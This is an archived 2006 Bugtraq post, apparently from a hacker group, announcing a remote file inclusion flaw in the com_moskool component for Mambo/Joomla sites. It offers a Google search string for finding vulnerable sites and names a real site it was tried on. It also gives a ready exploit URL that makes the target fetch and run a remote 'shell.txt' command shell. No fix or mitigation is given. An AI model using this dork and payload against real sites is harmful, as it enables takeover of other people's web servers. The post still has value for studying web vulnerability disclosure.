bugtraq - com_moskool (admin.moskool.php) Remote File Include Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 30 Jul 2006 00:19:14 -0000
From: saudi.unix@...mail.com
To: bugtraq@...urityfocus.com
Subject: com_moskool (admin.moskool.php) Remote File Include Vulnerabilities

By saudi hackrz

Rish : High
---------------------------------------
test on tis site : www.filters.ru
---------------------------------------

google : allinurl:"com_moskool" or "moskool"

Exploit :

http://[target]/component/option,com_moskool/Itemid,34/admin.moskool.php?mosConfig_absolute_path?=http://sit/shell.txt?cmd

---------------------------------------

- SnIpEr.SA , KING18, BLACK HOURS, AL-ARAAB,

------------------------------------------------------------------------

-------

Contact:

~~~~~~~

Nick: saudi hackrz

E-mail: saudi.unix[at]hotmail[dot]Com

site: http://www.3asfh.net

End :)